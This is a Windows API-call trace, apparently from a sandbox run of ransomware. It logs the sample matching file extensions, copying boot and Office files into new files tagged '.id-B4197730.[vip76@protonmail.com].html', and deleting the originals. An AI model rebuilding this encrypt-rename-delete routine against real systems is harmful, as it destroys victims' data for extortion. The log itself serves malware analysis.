	[0063.848] lstrlenW (lpString=".docx") returned 5
	[0063.848] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0063.848] lstrlenW (lpString=".pdf") returned 4
	[0063.848] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.848] lstrlenW (lpString=".xls") returned 4
	[0063.848] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.848] lstrlenW (lpString=".xlsx") returned 5
	[0063.848] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0063.848] lstrlenW (lpString=".ppt") returned 4
	[0063.848] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.848] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.848] lstrlenW (lpString=".zip") returned 4
	[0063.848] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.849] lstrlenW (lpString=".rar") returned 4
	[0063.849] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.849] lstrlenW (lpString=".bz2") returned 4
	[0063.849] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.849] lstrlenW (lpString=".7z") returned 3
	[0063.849] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.849] lstrlenW (lpString=".dbf") returned 4
	[0063.849] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.849] lstrlenW (lpString=".1cd") returned 4
	[0063.849] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.849] lstrlenW (lpString=".jpg") returned 4
	[0063.849] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.849] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.849] lstrlenW (lpString=".doc") returned 4
	[0063.849] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0063.849] lstrlenW (lpString=".docx") returned 5
	[0063.849] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0063.849] lstrlenW (lpString=".pdf") returned 4
	[0063.849] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0063.849] lstrlenW (lpString=".xls") returned 4
	[0063.849] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0063.850] lstrlenW (lpString=".xlsx") returned 5
	[0063.850] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0063.850] lstrlenW (lpString=".ppt") returned 4
	[0063.850] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0063.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.850] lstrlenW (lpString=".zip") returned 4
	[0063.850] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0063.850] lstrlenW (lpString=".rar") returned 4
	[0063.850] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0063.850] lstrlenW (lpString=".bz2") returned 4
	[0063.850] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0063.850] lstrlenW (lpString=".7z") returned 3
	[0063.850] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0063.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.850] lstrlenW (lpString=".dbf") returned 4
	[0063.850] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0063.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.850] lstrlenW (lpString=".1cd") returned 4
	[0063.850] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0063.850] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39
	[0063.850] lstrlenW (lpString=".jpg") returned 4
	[0063.850] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0063.851] lstrcmpiW (lpString1=".DAT", lpString2=".html") returned -1
	[0063.851] lstrlenW (lpString="BOOTSTAT.DAT") returned 12
	[0063.851] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.852] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=65536) returned 1
	[0063.852] CloseHandle (hObject=0x338) returned 1
	[0063.852] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26
	[0063.852] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.852] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.852] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.853] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.853] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bootstat.dat.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0063.853] GetLastError () returned 0x0
	[0063.853] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x10000, lpOverlapped=0x0) returned 1
	[0063.857] WriteFile (in: hFile=0x368, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x10010, lpOverlapped=0x0) returned 1
	[0063.860] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0063.860] WriteFile (in: hFile=0x368, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0063.860] SetEndOfFile (hFile=0x368) returned 1
	[0063.860] CloseHandle (hObject=0x368) returned 1
	[0063.863] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.863] SetEndOfFile (hFile=0x338) returned 1
	[0063.865] CloseHandle (hObject=0x338) returned 1
	[0063.865] SetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x26) returned 1
	[0063.865] DeleteFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 1
	[0063.865] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.865] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.865] lstrlenW (lpString=".doc") returned 4
	[0063.865] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0063.866] lstrlenW (lpString=".docx") returned 5
	[0063.866] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0063.866] lstrlenW (lpString=".pdf") returned 4
	[0063.866] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0063.866] lstrlenW (lpString=".xls") returned 4
	[0063.866] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0063.866] lstrlenW (lpString=".xlsx") returned 5
	[0063.866] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0063.866] lstrlenW (lpString=".ppt") returned 4
	[0063.866] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0063.866] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.866] lstrlenW (lpString=".zip") returned 4
	[0063.866] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0063.866] lstrlenW (lpString=".rar") returned 4
	[0063.866] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0063.866] lstrlenW (lpString=".bz2") returned 4
	[0063.866] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0063.866] lstrlenW (lpString=".7z") returned 3
	[0063.866] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0063.866] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.866] lstrlenW (lpString=".dbf") returned 4
	[0063.866] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0063.866] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.866] lstrlenW (lpString=".1cd") returned 4
	[0063.866] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0063.866] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.866] lstrlenW (lpString=".jpg") returned 4
	[0063.867] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0063.867] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.867] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.867] lstrlenW (lpString=".doc") returned 4
	[0063.867] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1
	[0063.867] lstrlenW (lpString=".docx") returned 5
	[0063.867] lstrcmpiW (lpString1=".docx", lpString2="T.DAT") returned -1
	[0063.867] lstrlenW (lpString=".pdf") returned 4
	[0063.867] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1
	[0063.867] lstrlenW (lpString=".xls") returned 4
	[0063.867] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1
	[0063.867] lstrlenW (lpString=".xlsx") returned 5
	[0063.867] lstrcmpiW (lpString1=".xlsx", lpString2="T.DAT") returned -1
	[0063.867] lstrlenW (lpString=".ppt") returned 4
	[0063.867] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1
	[0063.867] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.867] lstrlenW (lpString=".zip") returned 4
	[0063.867] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1
	[0063.867] lstrlenW (lpString=".rar") returned 4
	[0063.867] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1
	[0063.867] lstrlenW (lpString=".bz2") returned 4
	[0063.867] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1
	[0063.867] lstrlenW (lpString=".7z") returned 3
	[0063.868] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1
	[0063.868] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.868] lstrlenW (lpString=".dbf") returned 4
	[0063.868] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1
	[0063.868] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.868] lstrlenW (lpString=".1cd") returned 4
	[0063.868] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1
	[0063.868] lstrlenW (lpString="C:\\Boot\\BOOTSTAT.DAT") returned 20
	[0063.868] lstrlenW (lpString=".jpg") returned 4
	[0063.868] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1
	[0063.868] lstrcmpiW (lpString1=".p7b", lpString2=".html") returned 1
	[0063.868] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0063.868] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.870] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4662) returned 1
	[0063.870] CloseHandle (hObject=0x338) returned 1
	[0063.870] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0063.870] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.870] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0063.870] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.870] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.871] lstrlenW (lpString=".doc") returned 4
	[0063.871] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0063.871] lstrlenW (lpString=".docx") returned 5
	[0063.871] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0063.871] lstrlenW (lpString=".pdf") returned 4
	[0063.871] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0063.871] lstrlenW (lpString=".xls") returned 4
	[0063.871] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0063.871] lstrlenW (lpString=".xlsx") returned 5
	[0063.871] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0063.871] lstrlenW (lpString=".ppt") returned 4
	[0063.871] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0063.871] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.871] lstrlenW (lpString=".zip") returned 4
	[0063.871] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0063.871] lstrlenW (lpString=".rar") returned 4
	[0063.871] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0063.871] lstrlenW (lpString=".bz2") returned 4
	[0063.871] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0063.871] lstrlenW (lpString=".7z") returned 3
	[0063.871] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0063.871] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.871] lstrlenW (lpString=".dbf") returned 4
	[0063.871] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0063.871] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.871] lstrlenW (lpString=".1cd") returned 4
	[0063.871] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0063.871] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.871] lstrlenW (lpString=".jpg") returned 4
	[0063.872] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0063.872] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.872] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.872] lstrlenW (lpString=".doc") returned 4
	[0063.872] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0063.872] lstrlenW (lpString=".docx") returned 5
	[0063.872] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0063.872] lstrlenW (lpString=".pdf") returned 4
	[0063.872] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0063.872] lstrlenW (lpString=".xls") returned 4
	[0063.872] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0063.872] lstrlenW (lpString=".xlsx") returned 5
	[0063.872] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0063.872] lstrlenW (lpString=".ppt") returned 4
	[0063.872] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0063.872] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.872] lstrlenW (lpString=".zip") returned 4
	[0063.872] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0063.872] lstrlenW (lpString=".rar") returned 4
	[0063.872] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0063.872] lstrlenW (lpString=".bz2") returned 4
	[0063.872] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0063.872] lstrlenW (lpString=".7z") returned 3
	[0063.872] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0063.872] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.872] lstrlenW (lpString=".dbf") returned 4
	[0063.872] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0063.872] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.873] lstrlenW (lpString=".1cd") returned 4
	[0063.873] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0063.873] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0063.873] lstrlenW (lpString=".jpg") returned 4
	[0063.873] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0063.873] lstrcmpiW (lpString1=".BAK", lpString2=".html") returned -1
	[0063.873] lstrlenW (lpString="BOOTSECT.BAK") returned 12
	[0063.873] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.873] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=8192) returned 1
	[0063.873] CloseHandle (hObject=0x338) returned 1
	[0063.873] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27
	[0063.874] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\bootsect.bak.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0063.874] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1
	[0063.874] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0063.874] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.874] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0063.874] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\bootsect.bak.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0063.901] GetLastError () returned 0x0
	[0063.901] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x2000, lpOverlapped=0x0) returned 1
	[0064.069] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x2010, lpOverlapped=0x0) returned 1
	[0064.071] ReadFile (in: hFile=0x338, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0064.071] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xec, lpOverlapped=0x0) returned 1
	[0064.071] SetEndOfFile (hFile=0x334) returned 1
	[0064.071] CloseHandle (hObject=0x334) returned 1
	[0064.072] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.072] SetEndOfFile (hFile=0x338) returned 1
	[0064.073] CloseHandle (hObject=0x338) returned 1
	[0064.073] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x27) returned 1
	[0064.073] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1
	[0064.074] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.074] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.074] lstrlenW (lpString=".doc") returned 4
	[0064.074] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0064.074] lstrlenW (lpString=".docx") returned 5
	[0064.074] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0064.074] lstrlenW (lpString=".pdf") returned 4
	[0064.074] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0064.074] lstrlenW (lpString=".xls") returned 4
	[0064.074] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0064.074] lstrlenW (lpString=".xlsx") returned 5
	[0064.074] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0064.074] lstrlenW (lpString=".ppt") returned 4
	[0064.074] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0064.074] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.074] lstrlenW (lpString=".zip") returned 4
	[0064.074] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0064.074] lstrlenW (lpString=".rar") returned 4
	[0064.074] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0064.074] lstrlenW (lpString=".bz2") returned 4
	[0064.074] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0064.074] lstrlenW (lpString=".7z") returned 3
	[0064.074] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0064.074] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.074] lstrlenW (lpString=".dbf") returned 4
	[0064.074] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0064.074] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.074] lstrlenW (lpString=".1cd") returned 4
	[0064.074] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0064.074] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.074] lstrlenW (lpString=".jpg") returned 4
	[0064.074] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0064.075] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.075] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.075] lstrlenW (lpString=".doc") returned 4
	[0064.075] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1
	[0064.075] lstrlenW (lpString=".docx") returned 5
	[0064.075] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1
	[0064.075] lstrlenW (lpString=".pdf") returned 4
	[0064.075] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1
	[0064.075] lstrlenW (lpString=".xls") returned 4
	[0064.075] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1
	[0064.075] lstrlenW (lpString=".xlsx") returned 5
	[0064.075] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1
	[0064.075] lstrlenW (lpString=".ppt") returned 4
	[0064.075] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1
	[0064.075] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.075] lstrlenW (lpString=".zip") returned 4
	[0064.075] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1
	[0064.075] lstrlenW (lpString=".rar") returned 4
	[0064.075] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1
	[0064.075] lstrlenW (lpString=".bz2") returned 4
	[0064.075] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1
	[0064.075] lstrlenW (lpString=".7z") returned 3
	[0064.075] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1
	[0064.075] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.075] lstrlenW (lpString=".dbf") returned 4
	[0064.075] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1
	[0064.075] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.075] lstrlenW (lpString=".1cd") returned 4
	[0064.075] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1
	[0064.075] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0064.075] lstrlenW (lpString=".jpg") returned 4
	[0064.075] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1
	[0064.076] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0064.076] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22
	[0064.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.076] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=4136) returned 1
	[0064.076] CloseHandle (hObject=0x338) returned 1
	[0064.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20
	[0064.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0064.076] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0064.077] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0064.077] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
